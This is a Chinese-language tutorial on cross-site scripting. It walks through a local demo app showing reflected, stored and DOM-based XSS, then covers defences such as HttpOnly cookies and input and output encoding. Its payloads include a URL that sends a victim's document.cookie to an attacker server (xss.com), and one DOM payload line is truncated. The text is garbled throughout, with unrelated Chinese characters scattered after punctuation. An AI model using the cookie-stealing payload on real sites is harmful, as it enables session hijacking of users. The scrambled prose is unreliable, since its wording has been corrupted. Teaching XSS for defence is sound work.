本文演示 Demo 的代碼地址: XSS
XSS簡(jiǎn)介
跨站腳本攻擊迄汛,英文全稱是 Cross Site Script听皿,本來(lái)縮寫是 CSS胖烛,但是為了和層疊樣式表(Cascading Style Sheets,CSS)有所區(qū)別剃允,所以在安全領(lǐng)域叫做 “XSS”教翩。是 Web 安全頭號(hào)大敵杆勇。
XSS攻擊,通常指黑客通過(guò) “HTML注入” 篡改了網(wǎng)頁(yè)迂曲,插入了惡意的腳本,從而在用戶瀏覽網(wǎng)頁(yè)時(shí)寥袭,控制用戶瀏覽器的一種攻擊路捧。
XSS 根據(jù)效果的不同可以分為三類
接下來(lái)會(huì)通過(guò) Demo 進(jìn)行演示,運(yùn)行 Demo 前安裝需 Node 和 MongoDB传黄,具體如何安裝不在這里詳細(xì)介紹了杰扫。
在終端里執(zhí)行如下腳本
git clone https://git.coding.net/yuan285150759/web-tutorial.git
cd web-tutorial/xss && npm i && npm start
然后在瀏覽器中打開 http://localhost:3000/
可以看到一個(gè)簡(jiǎn)單的文章管理頁(yè)面
先新增幾篇文章測(cè)試一下功能,若如下圖所示膘掰,則沒(méi)有問(wèn)題 ~
接下來(lái)開始演示不同類型的 XSS攻擊
反射型 XSS
反射型 XSS 只是簡(jiǎn)單地把用戶輸入的數(shù)據(jù) “反射” 給瀏覽器章姓。也叫做 “非持久型 XSS”。
我們?cè)谒阉骺騼?nèi)輸入 “袁大師又出新書啦” 時(shí)识埋,列表中會(huì)展示
當(dāng)搜索 “XSS ” 時(shí)凡伊,列表中會(huì)展示
此時(shí)程序都是正常的,接下來(lái)我們?cè)偎阉骺蜉斎胂旅鎯?nèi)容進(jìn)行搜索時(shí)
<script>alert("xss") ;</script>
列表中會(huì)展示
這就是一個(gè)簡(jiǎn)單的反射型 XSS啦窒舟。
存儲(chǔ)型 XSS
存儲(chǔ)型 XSS 會(huì)把用戶輸入的數(shù)據(jù)“存儲(chǔ)”在服務(wù)器端系忙。也叫做 “持久型 XSS”(Persistent XSS)。
當(dāng)我們新增一個(gè)名字為下面內(nèi)容的文章時(shí)
XSS <script>alert("xss") ;</script>
列表中會(huì)展示和上圖一樣的效果惠豺,并且我們每次刷新頁(yè)面時(shí)都會(huì)彈出彈框银还。如果這真的是放在公網(wǎng)上的一個(gè)頁(yè)面,那么其他人每次打開這個(gè)頁(yè)面也會(huì)彈出彈框洁墙。趕緊把 “XSS” 這篇文章刪掉吧 ~
這就是一個(gè)簡(jiǎn)單的存儲(chǔ)型 XSS啦蛹疯。
DOM Based XSS
通過(guò)修改頁(yè)面的 DOM 節(jié)點(diǎn)形成的 XSS,稱之為 DOM Based XSS热监。
當(dāng)我們新增一個(gè)名字為下面內(nèi)容的文章時(shí)
XSS<script>document.getElementById('title').innerHTML = "<a ;</script>
頁(yè)面中會(huì)展示
可以看到文章的標(biāo)題已經(jīng)被修改了捺弦,點(diǎn)擊標(biāo)題會(huì)跳轉(zhuǎn)到一個(gè)新的頁(yè)面哦 ~
這就是一個(gè)簡(jiǎn)單的 DOM Based XSS 啦。
Cookie 劫持
一個(gè)最常見(jiàn)的 XSS 攻擊 就是盜取用戶的 Cookie,從而發(fā)起 Cookie 劫持攻擊羹呵。Cookie 中骂际,一般會(huì)保存當(dāng)前用戶的登錄憑證,如果 Cookie 被黑客盜取冈欢,以為著黑客有可能通過(guò) Cookie 直接登進(jìn)用戶的賬戶歉铝,進(jìn)行惡意操作。
例如誘使別人點(diǎn)擊一個(gè)網(wǎng)址
http://zeaho.com/search?keyword=<script>document.location='http://xss.com/get?cookie='+document.cookie</script>
如果受騙的用戶剛好已經(jīng)登錄過(guò) zeaho.com凑耻,那么太示,用戶的登錄 Cookie 信息就已經(jīng)發(fā)到了攻擊者的服務(wù)器(xss.com)了。
XSS 的防御
使用 HttpOnly
瀏覽器禁止頁(yè)面的JavaScript訪問(wèn)帶有 HttpOnly 屬性的 Cookie香浩。
輸入檢查
- 輸入檢查类缤,在很多時(shí)候也被用于格式檢查。這些格式檢查邻吭,有點(diǎn)像一種“白名單”餐弱,也可以讓一些基于特殊字符的攻擊失效(例如用戶名只能為字母、數(shù)字組合)囱晴。
- 服務(wù)器端代碼必須有輸入檢查的邏輯膏蚓。如果只是在客戶端使用JavaScript進(jìn)行輸入檢查,是很容易被攻擊者繞過(guò)的(例如 Postman)畸写。目前Web開發(fā)的普遍做法驮瞧,是同時(shí)在客戶端JavaScript中和服務(wù)器端代碼中實(shí)現(xiàn)相同的輸入檢查】莘遥客戶端JavaScript的輸入檢查论笔,可以阻擋大部分誤操作的正常用戶,從而節(jié)約服務(wù)器資源千所。
- 比較智能的“輸入檢查”狂魔,可能還會(huì)匹配 XSS 的特征。比如查找用戶數(shù)據(jù)中是否包含了“<script>”淫痰、“javascript”等敏感字符毅臊。這種輸入檢查的方式,可以稱為“XSS Filter”黑界」苕遥互聯(lián)網(wǎng)上有很多開源的“XSS Filter”的實(shí)現(xiàn)。
- XSS Filter不夠智能朗鸠。對(duì)語(yǔ)境的理解并不完整(例如‘我是“天才”’ → ‘我是"天才"’ )蚯撩。
輸出檢查
HtmlEncode、JavascriptEncode烛占、XMLEncode胎挎、JSONEncode等沟启。
框架
大部分的 XSS 漏洞可以在模板系統(tǒng)中解決。
參考
《白帽子講Web安全》